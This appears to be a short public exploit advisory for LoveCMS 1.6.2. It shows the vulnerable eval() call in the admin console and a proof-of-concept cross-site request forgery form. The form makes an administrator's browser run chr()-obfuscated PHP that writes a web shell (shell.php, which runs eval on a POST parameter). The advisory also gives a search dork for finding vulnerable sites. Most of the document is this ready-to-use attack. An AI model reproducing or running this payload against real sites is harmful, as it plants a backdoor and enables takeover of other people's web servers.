LoveCMS 1.6.2 – Cross-Site Request Forgery / Code Injection
#Exploit Title : LoveCMS 1.6.2 - CSRF Code Injection Vulnerability #Script : LoveCMS 1.6.2 #Language : PHP #Download : http://sourceforge.net/project/showfiles.php?group_id=168535 #Date : 2010/12/27 #Dork : "Powered by LoveCMS" #Found : by hiphop #contact me :1444279564@qq.com source of /lovecms/system/admin/console.php 16: $code = stripslashes($_POST['phpcode']); 18: eval($code); POC: <html> <h3>LoveCMS 1.6.2 CSRF Code Injection Vulnerability</h3> <h3>shell is php eval($_POST[cmd]); at /lovecms/system/admin/shell.php</h3> <form name="p0c" action="http://domain/system/admin/console.php" method="post"> <input type="hidden" name="phpcode" id="console" value="$filen=chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112); $filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62); $a=chr(119); $fp=@fopen($filen,$a); $msg=@fwrite($fp,$filec); if($msg) echo chr(79).chr(75).chr(33); @fclose($fp);"> <input type="submit" value="Get Shell" name="submit" > </form> |